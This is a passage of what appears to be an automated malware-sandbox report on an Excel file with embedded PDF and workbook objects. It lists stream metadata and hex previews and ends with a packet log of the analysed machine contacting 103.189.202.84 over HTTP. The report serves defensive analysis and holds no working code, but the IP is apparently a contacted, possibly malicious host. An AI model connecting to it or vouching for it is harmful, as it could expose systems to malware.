                                                                  Stream Path:MBD00A59CF2/\x1CompObj
                                                                  File Type:data
                                                                  Stream Size:93
                                                                  Entropy:4.2892020709435155
                                                                  Base64 Encoded:False
                                                                  Data ASCII:. . . . . . e . . D E S T . . . . . . A c r o b a t D o c u m e n t . . . . . . . . . A c r o b a t . D o c u m e n t . D C . 9 q . . . . . . . . . . . .
                                                                  Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 65 ca 01 b8 fc a1 d0 11 85 ad 44 45 53 54 00 00 11 00 00 00 41 63 72 6f 62 61 74 20 44 6f 63 75 6d 65 6e 74 00 00 00 00 00 14 00 00 00 41 63 72 6f 62 61 74 2e 44 6f 63 75 6d 65 6e 74 2e 44 43 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                                                  Stream Path: MBD00A59CF2/\x1Ole, File Type: data, Stream Size: 62
                                                                  General
                                                                  Stream Path:MBD00A59CF2/\x1Ole
                                                                  File Type:data
                                                                  Stream Size:62
                                                                  Entropy:2.7788384466112834
                                                                  Base64 Encoded:False
                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . F . . . . ! . . . . . S h e e t 2 ! O b j e c t 3 .
                                                                  Data Raw:01 00 00 02 08 00 00 00 00 00 00 00 00 00 00 00 2e 00 00 00 04 03 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 02 00 00 00 21 00 10 00 00 00 53 68 65 65 74 32 21 4f 62 6a 65 63 74 20 33 00
                                                                  Stream Path: MBD00A59CF2/CONTENTS, File Type: PDF document, version 1.7, 1 pages, Stream Size: 62293
                                                                  General
                                                                  Stream Path:MBD00A59CF2/CONTENTS
                                                                  File Type:PDF document, version 1.7, 1 pages
                                                                  Stream Size:62293
                                                                  Entropy:7.949249248462166
                                                                  Base64 Encoded:True
                                                                  Data ASCII:% P D F - 1 . 7 . % . 1 0 o b j . < < . / T y p e / C a t a l o g . / P a g e s 2 0 R . / P a g e M o d e / U s e N o n e . / V i e w e r P r e f e r e n c e s < < . / F i t W i n d o w t r u e . / P a g e L a y o u t / S i n g l e P a g e . / N o n F u l l S c r e e n P a g e M o d e / U s e N o n e . > > . > > . e n d o b j . 5 0 o b j . < < . / L e n g t h 1 2 7 2 . / F i l t e r [ / F l a t e D e c o d e ] . > > . s t r e a m . x X
                                                                  Data Raw:25 50 44 46 2d 31 2e 37 20 0a 25 e2 e3 cf d3 20 0a 31 20 30 20 6f 62 6a 20 0a 3c 3c 20 0a 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 0a 2f 50 61 67 65 73 20 32 20 30 20 52 20 0a 2f 50 61 67 65 4d 6f 64 65 20 2f 55 73 65 4e 6f 6e 65 20 0a 2f 56 69 65 77 65 72 50 72 65 66 65 72 65 6e 63 65 73 20 3c 3c 20 0a 2f 46 69 74 57 69 6e 64 6f 77 20 74 72 75 65 20 0a 2f 50 61 67 65 4c 61 79
                                                                  Stream Path: MBD00A59CF3/\x1CompObj, File Type: data, Stream Size: 93
                                                                  General
                                                                  Stream Path:MBD00A59CF3/\x1CompObj
                                                                  File Type:data
                                                                  Stream Size:93
                                                                  Entropy:4.2892020709435155
                                                                  Base64 Encoded:False
                                                                  Data ASCII:. . . . . . e . . D E S T . . . . . . A c r o b a t D o c u m e n t . . . . . . . . . A c r o b a t . D o c u m e n t . D C . 9 q . . . . . . . . . . . .
                                                                  Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 65 ca 01 b8 fc a1 d0 11 85 ad 44 45 53 54 00 00 11 00 00 00 41 63 72 6f 62 61 74 20 44 6f 63 75 6d 65 6e 74 00 00 00 00 00 14 00 00 00 41 63 72 6f 62 61 74 2e 44 6f 63 75 6d 65 6e 74 2e 44 43 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                                                  Stream Path: MBD00A59CF3/\x1Ole, File Type: data, Stream Size: 62
                                                                  General
                                                                  Stream Path:MBD00A59CF3/\x1Ole
                                                                  File Type:data
                                                                  Stream Size:62
                                                                  Entropy:2.746580382095154
                                                                  Base64 Encoded:False
                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . F . . . . ! . . . . . S h e e t 2 ! O b j e c t 2 .
                                                                  Data Raw:01 00 00 02 08 00 00 00 00 00 00 00 00 00 00 00 2e 00 00 00 04 03 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 02 00 00 00 21 00 10 00 00 00 53 68 65 65 74 32 21 4f 62 6a 65 63 74 20 32 00
                                                                  Stream Path: MBD00A59CF3/CONTENTS, File Type: PDF document, version 1.4, 1 pages, Stream Size: 78265
                                                                  General
                                                                  Stream Path:MBD00A59CF3/CONTENTS
                                                                  File Type:PDF document, version 1.4, 1 pages
                                                                  Stream Size:78265
                                                                  Entropy:7.977302175246816
                                                                  Base64 Encoded:True
                                                                  Data ASCII:% P D F - 1 . 4 . % . 1 0 o b j . < < . / C r e a t i o n D a t e ( D : 2 0 2 3 0 3 1 6 1 0 4 2 3 2 + 0 0 ' 0 0 ' ) . / C r e a t o r ( P D F s h a r p 1 . 5 0 . 5 1 4 7 \\ ( w w w . p d f s h a r p . c o m \\ ) ) . / P r o d u c e r ( P D F s h a r p 1 . 5 0 . 5 1 4 7 \\ ( w w w . p d f s h a r p . c o m \\ ) ) . > > . e n d o b j . 2 0 o b j . < < . / T y p e / C a t a l o g . / P a g e s 3 0 R . > > . e n d o b j . 3 0 o b j . < < . / T y p e / P a g e s . / C o u n t 1 . / K i d
                                                                  Data Raw:25 50 44 46 2d 31 2e 34 0a 25 d3 f4 cc e1 0a 31 20 30 20 6f 62 6a 0a 3c 3c 0a 2f 43 72 65 61 74 69 6f 6e 44 61 74 65 28 44 3a 32 30 32 33 30 33 31 36 31 30 34 32 33 32 2b 30 30 27 30 30 27 29 0a 2f 43 72 65 61 74 6f 72 28 50 44 46 73 68 61 72 70 20 31 2e 35 30 2e 35 31 34 37 20 5c 28 77 77 77 2e 70 64 66 73 68 61 72 70 2e 63 6f 6d 5c 29 29 0a 2f 50 72 6f 64 75 63 65 72 28 50 44 46
                                                                  Stream Path: MBD00A59CF4/\x1CompObj, File Type: data, Stream Size: 114
                                                                  General
                                                                  Stream Path:MBD00A59CF4/\x1CompObj
                                                                  File Type:data
                                                                  Stream Size:114
                                                                  Entropy:4.219515110876372
                                                                  Base64 Encoded:False
                                                                  Data ASCII:. . . . . . 0 . . . . . . . . . . . . . F ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . E x c e l . S h e e t . 1 2 . 9 q . . . . . . . . . . . .
                                                                  Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 30 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 0f 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 31 32 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                                                  Stream Path: MBD00A59CF4/Package, File Type: Microsoft Excel 2007+, Stream Size: 45183
                                                                  General
                                                                  Stream Path:MBD00A59CF4/Package
                                                                  File Type:Microsoft Excel 2007+
                                                                  Stream Size:45183
                                                                  Entropy:7.806319843953119
                                                                  Base64 Encoded:True
                                                                  Data ASCII:P K . . . . . . . . . . ! . < r . . . i . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
                                                                  Data Raw:50 4b 03 04 14 00 06 00 08 00 00 00 21 00 3c 72 e1 d1 db 01 00 00 69 08 00 00 13 00 db 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 d7 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                  Stream Path: MBD00A59CF5/\x1CompObj, File Type: data, Stream Size: 93
                                                                  General
                                                                  Stream Path:MBD00A59CF5/\x1CompObj
                                                                  File Type:data
                                                                  Stream Size:93
                                                                  Entropy:4.2892020709435155
                                                                  Base64 Encoded:False
                                                                  Data ASCII:. . . . . . e . . D E S T . . . . . . A c r o b a t D o c u m e n t . . . . . . . . . A c r o b a t . D o c u m e n t . D C . 9 q . . . . . . . . . . . .
                                                                  Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 65 ca 01 b8 fc a1 d0 11 85 ad 44 45 53 54 00 00 11 00 00 00 41 63 72 6f 62 61 74 20 44 6f 63 75 6d 65 6e 74 00 00 00 00 00 14 00 00 00 41 63 72 6f 62 61 74 2e 44 6f 63 75 6d 65 6e 74 2e 44 43 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                                                  Stream Path: MBD00A59CF5/\x1Ole, File Type: data, Stream Size: 64
                                                                  General
                                                                  Stream Path:MBD00A59CF5/\x1Ole
                                                                  File Type:data
                                                                  Stream Size:64
                                                                  Entropy:2.892622069467395
                                                                  Base64 Encoded:False
                                                                  Data ASCII:. . . . . . . . . . . . . . . . 0 . . . . . . . . . . . . . . . . . F . . . . ! . . . . . S h e e t 1 ! O b j e c t 5 3 1 .
                                                                  Data Raw:01 00 00 02 08 00 00 00 00 00 00 00 00 00 00 00 30 00 00 00 04 03 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 02 00 00 00 21 00 12 00 00 00 53 68 65 65 74 31 21 4f 62 6a 65 63 74 20 35 33 31 00
                                                                  Stream Path: MBD00A59CF5/CONTENTS, File Type: PDF document, version 1.4, 1 pages, Stream Size: 78265
                                                                  General
                                                                  Stream Path:MBD00A59CF5/CONTENTS
                                                                  File Type:PDF document, version 1.4, 1 pages
                                                                  Stream Size:78265
                                                                  Entropy:7.977302175246816
                                                                  Base64 Encoded:True
                                                                  Data ASCII:% P D F - 1 . 4 . % . 1 0 o b j . < < . / C r e a t i o n D a t e ( D : 2 0 2 3 0 3 1 6 1 0 4 2 3 2 + 0 0 ' 0 0 ' ) . / C r e a t o r ( P D F s h a r p 1 . 5 0 . 5 1 4 7 \\ ( w w w . p d f s h a r p . c o m \\ ) ) . / P r o d u c e r ( P D F s h a r p 1 . 5 0 . 5 1 4 7 \\ ( w w w . p d f s h a r p . c o m \\ ) ) . > > . e n d o b j . 2 0 o b j . < < . / T y p e / C a t a l o g . / P a g e s 3 0 R . > > . e n d o b j . 3 0 o b j . < < . / T y p e / P a g e s . / C o u n t 1 . / K i d
                                                                  Data Raw:25 50 44 46 2d 31 2e 34 0a 25 d3 f4 cc e1 0a 31 20 30 20 6f 62 6a 0a 3c 3c 0a 2f 43 72 65 61 74 69 6f 6e 44 61 74 65 28 44 3a 32 30 32 33 30 33 31 36 31 30 34 32 33 32 2b 30 30 27 30 30 27 29 0a 2f 43 72 65 61 74 6f 72 28 50 44 46 73 68 61 72 70 20 31 2e 35 30 2e 35 31 34 37 20 5c 28 77 77 77 2e 70 64 66 73 68 61 72 70 2e 63 6f 6d 5c 29 29 0a 2f 50 72 6f 64 75 63 65 72 28 50 44 46
                                                                  Stream Path: MBD00A59CF6/\x1CompObj, File Type: data, Stream Size: 114
                                                                  General
                                                                  Stream Path:MBD00A59CF6/\x1CompObj
                                                                  File Type:data
                                                                  Stream Size:114
                                                                  Entropy:4.25248375192737
                                                                  Base64 Encoded:True
                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
                                                                  Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                                                  Stream Path: MBD00A59CF6/\x5DocumentSummaryInformation, File Type: data, Stream Size: 708
                                                                  General
                                                                  Stream Path:MBD00A59CF6/\x5DocumentSummaryInformation
                                                                  File Type:data
                                                                  Stream Size:708
                                                                  Entropy:3.6235698530352805
                                                                  Base64 Encoded:True
                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , D . . . . . . . . . . + , . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . . . 0 . . . . . . . 8 . . . . . . . @ . . . . . . . H . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
                                                                  Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 44 00 00 00 05 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 20 02 00 00 dc 01 00 00 14 00 00 00 01 00 00 00 a8 00 00 00 02 00 00 00 b0 00 00 00 03 00 00 00 bc 00 00 00 0e 00 00 00 c8 00 00 00 0f 00 00 00 d4 00 00 00 04 00 00 00 e0 00 00 00 05 00 00 00
                                                                  Stream Path: MBD00A59CF6/\x5SummaryInformation, File Type: data, Stream Size: 372
                                                                  General
                                                                  Stream Path:MBD00A59CF6/\x5SummaryInformation
                                                                  File Type:data
                                                                  Stream Size:372
                                                                  Entropy:2.888140576289789
                                                                  Base64 Encoded:True
                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . D . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . $ . . . . . . . , . . . . . . . 4 . . . . . . . < . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . v i v i e n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 1
                                                                  Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 44 01 00 00 10 00 00 00 01 00 00 00 88 00 00 00 02 00 00 00 90 00 00 00 03 00 00 00 9c 00 00 00 04 00 00 00 a8 00 00 00 05 00 00 00 b8 00 00 00 06 00 00 00 c4 00 00 00 07 00 00 00 d0 00 00 00 08 00 00 00 dc 00 00 00 09 00 00 00 ec 00 00 00
                                                                  Stream Path: MBD00A59CF6/Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 97808
                                                                  General
                                                                  Stream Path:MBD00A59CF6/Workbook
                                                                  File Type:Applesoft BASIC program data, first line number 16
                                                                  Stream Size:97808
                                                                  Entropy:7.364561215625775
                                                                  Base64 Encoded:True
                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . 9 1 9 7 4 B . . . . a . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . . . . P . 9 . . . . . . . X . @ . . . . . . . . . . " . . . . . . . . . . . . . . .
                                                                  Data Raw:09 08 10 00 00 06 05 00 a9 1f cd 07 c1 00 01 00 06 04 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 05 00 00 39 31 39 37 34 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                  Stream Path: MBD00A59CF6/_VBA_PROJECT_CUR/VBA/Sheet1, File Type: empty, Stream Size: 0
                                                                  General
                                                                  Stream Path:MBD00A59CF6/_VBA_PROJECT_CUR/VBA/Sheet1
                                                                  File Type:empty
                                                                  Stream Size:0
                                                                  Entropy:0.0
                                                                  Base64 Encoded:False
                                                                  Data ASCII:
                                                                  Data Raw:
                                                                  Stream Path: MBD00A59CF6/_VBA_PROJECT_CUR/VBA/ThisWorkbook, File Type: empty, Stream Size: 0
                                                                  General
                                                                  Stream Path:MBD00A59CF6/_VBA_PROJECT_CUR/VBA/ThisWorkbook
                                                                  File Type:empty
                                                                  Stream Size:0
                                                                  Entropy:0.0
                                                                  Base64 Encoded:False
                                                                  Data ASCII:
                                                                  Data Raw:
                                                                  Stream Path: MBD00A59CF6/_VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: empty, Stream Size: 0
                                                                  General
                                                                  Stream Path:MBD00A59CF6/_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
                                                                  File Type:empty
                                                                  Stream Size:0
                                                                  Entropy:0.0
                                                                  Base64 Encoded:False
                                                                  Data ASCII:
                                                                  Data Raw:
                                                                  Stream Path: MBD00A59CF7/\x1CompObj, File Type: data, Stream Size: 93
                                                                  General
                                                                  Stream Path:MBD00A59CF7/\x1CompObj
                                                                  File Type:data
                                                                  Stream Size:93
                                                                  Entropy:4.2892020709435155
                                                                  Base64 Encoded:False
                                                                  Data ASCII:. . . . . . e . . D E S T . . . . . . A c r o b a t D o c u m e n t . . . . . . . . . A c r o b a t . D o c u m e n t . D C . 9 q . . . . . . . . . . . .
                                                                  Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 65 ca 01 b8 fc a1 d0 11 85 ad 44 45 53 54 00 00 11 00 00 00 41 63 72 6f 62 61 74 20 44 6f 63 75 6d 65 6e 74 00 00 00 00 00 14 00 00 00 41 63 72 6f 62 61 74 2e 44 6f 63 75 6d 65 6e 74 2e 44 43 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                                                  Stream Path: MBD00A59CF7/\x1Ole, File Type: data, Stream Size: 64
                                                                  General
                                                                  Stream Path:MBD00A59CF7/\x1Ole
                                                                  File Type:data
                                                                  Stream Size:64
                                                                  Entropy:2.892622069467395
                                                                  Base64 Encoded:False
                                                                  Data ASCII:. . . . . . . . . . . . . . . . 0 . . . . . . . . . . . . . . . . . F . . . . ! . . . . . S h e e t 1 ! O b j e c t 5 3 1 .
                                                                  Data Raw:01 00 00 02 08 00 00 00 00 00 00 00 00 00 00 00 30 00 00 00 04 03 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 02 00 00 00 21 00 12 00 00 00 53 68 65 65 74 31 21 4f 62 6a 65 63 74 20 35 33 31 00
                                                                  Stream Path: MBD00A59CF7/CONTENTS, File Type: PDF document, version 1.4, 1 pages, Stream Size: 78265
                                                                  General
                                                                  Stream Path:MBD00A59CF7/CONTENTS
                                                                  File Type:PDF document, version 1.4, 1 pages
                                                                  Stream Size:78265
                                                                  Entropy:7.977302175246816
                                                                  Base64 Encoded:True
                                                                  Data ASCII:% P D F - 1 . 4 . % . 1 0 o b j . < < . / C r e a t i o n D a t e ( D : 2 0 2 3 0 3 1 6 1 0 4 2 3 2 + 0 0 ' 0 0 ' ) . / C r e a t o r ( P D F s h a r p 1 . 5 0 . 5 1 4 7 \\ ( w w w . p d f s h a r p . c o m \\ ) ) . / P r o d u c e r ( P D F s h a r p 1 . 5 0 . 5 1 4 7 \\ ( w w w . p d f s h a r p . c o m \\ ) ) . > > . e n d o b j . 2 0 o b j . < < . / T y p e / C a t a l o g . / P a g e s 3 0 R . > > . e n d o b j . 3 0 o b j . < < . / T y p e / P a g e s . / C o u n t 1 . / K i d
                                                                  Data Raw:25 50 44 46 2d 31 2e 34 0a 25 d3 f4 cc e1 0a 31 20 30 20 6f 62 6a 0a 3c 3c 0a 2f 43 72 65 61 74 69 6f 6e 44 61 74 65 28 44 3a 32 30 32 33 30 33 31 36 31 30 34 32 33 32 2b 30 30 27 30 30 27 29 0a 2f 43 72 65 61 74 6f 72 28 50 44 46 73 68 61 72 70 20 31 2e 35 30 2e 35 31 34 37 20 5c 28 77 77 77 2e 70 64 66 73 68 61 72 70 2e 63 6f 6d 5c 29 29 0a 2f 50 72 6f 64 75 63 65 72 28 50 44 46
                                                                  Stream Path: MBD00A59CF8/\x1CompObj, File Type: data, Stream Size: 114
                                                                  General
                                                                  Stream Path:MBD00A59CF8/\x1CompObj
                                                                  File Type:data
                                                                  Stream Size:114
                                                                  Entropy:4.25248375192737
                                                                  Base64 Encoded:True
                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
                                                                  Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                                                  Stream Path: MBD00A59CF8/\x5DocumentSummaryInformation, File Type: data, Stream Size: 708
                                                                  General
                                                                  Stream Path:MBD00A59CF8/\x5DocumentSummaryInformation
                                                                  File Type:data
                                                                  Stream Size:708
                                                                  Entropy:3.6235698530352805
                                                                  Base64 Encoded:True
                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , D . . . . . . . . . . + , . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . . . 0 . . . . . . . 8 . . . . . . . @ . . . . . . . H . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
                                                                  Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 44 00 00 00 05 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 20 02 00 00 dc 01 00 00 14 00 00 00 01 00 00 00 a8 00 00 00 02 00 00 00 b0 00 00 00 03 00 00 00 bc 00 00 00 0e 00 00 00 c8 00 00 00 0f 00 00 00 d4 00 00 00 04 00 00 00 e0 00 00 00 05 00 00 00
                                                                  Stream Path: MBD00A59CF8/\x5SummaryInformation, File Type: data, Stream Size: 372
                                                                  General
                                                                  Stream Path:MBD00A59CF8/\x5SummaryInformation
                                                                  File Type:data
                                                                  Stream Size:372
                                                                  Entropy:2.893869802613578
                                                                  Base64 Encoded:True
                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . D . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . $ . . . . . . . , . . . . . . . 4 . . . . . . . < . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . v i v i e n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 1
                                                                  Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 44 01 00 00 10 00 00 00 01 00 00 00 88 00 00 00 02 00 00 00 90 00 00 00 03 00 00 00 9c 00 00 00 04 00 00 00 a8 00 00 00 05 00 00 00 b8 00 00 00 06 00 00 00 c4 00 00 00 07 00 00 00 d0 00 00 00 08 00 00 00 dc 00 00 00 09 00 00 00 ec 00 00 00
                                                                  Stream Path: MBD00A59CF8/Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 97808
                                                                  General
                                                                  Stream Path:MBD00A59CF8/Workbook
                                                                  File Type:Applesoft BASIC program data, first line number 16
                                                                  Stream Size:97808
                                                                  Entropy:7.364373955658336
                                                                  Base64 Encoded:True
                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . 9 1 9 7 4 B . . . . a . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . . . . P . 9 . . . . . . . X . @ . . . . . . . . . . " . . . . . . . . . . . . . . .
                                                                  Data Raw:09 08 10 00 00 06 05 00 a9 1f cd 07 c9 00 02 00 06 04 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 05 00 00 39 31 39 37 34 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                  Stream Path: MBD00A59CF8/_VBA_PROJECT_CUR/VBA/Sheet1, File Type: empty, Stream Size: 0
                                                                  General
                                                                  Stream Path:MBD00A59CF8/_VBA_PROJECT_CUR/VBA/Sheet1
                                                                  File Type:empty
                                                                  Stream Size:0
                                                                  Entropy:0.0
                                                                  Base64 Encoded:False
                                                                  Data ASCII:
                                                                  Data Raw:
                                                                  Stream Path: MBD00A59CF8/_VBA_PROJECT_CUR/VBA/ThisWorkbook, File Type: empty, Stream Size: 0
                                                                  General
                                                                  Stream Path:MBD00A59CF8/_VBA_PROJECT_CUR/VBA/ThisWorkbook
                                                                  File Type:empty
                                                                  Stream Size:0
                                                                  Entropy:0.0
                                                                  Base64 Encoded:False
                                                                  Data ASCII:
                                                                  Data Raw:
                                                                  Stream Path: MBD00A59CF8/_VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: empty, Stream Size: 0
                                                                  General
                                                                  Stream Path:MBD00A59CF8/_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
                                                                  File Type:empty
                                                                  Stream Size:0
                                                                  Entropy:0.0
                                                                  Base64 Encoded:False
                                                                  Data ASCII:
                                                                  Data Raw:

                                                                  Network Behavior

                                                                  Network Port Distribution

                                                                  TCP Packets

                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                  Mar 20, 2023 10:33:34.996516943 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.192823887 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.192950010 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.193614960 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.391124010 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.391180992 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.391227007 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.391247988 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.391272068 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.392350912 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.587097883 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.587151051 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.587300062 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.587953091 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.587989092 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.588020086 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.588051081 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.588069916 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.588093996 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.588114977 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.588129044 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.588180065 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.588247061 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.588320971 CET4917180192.168.2.22103.189.202.84
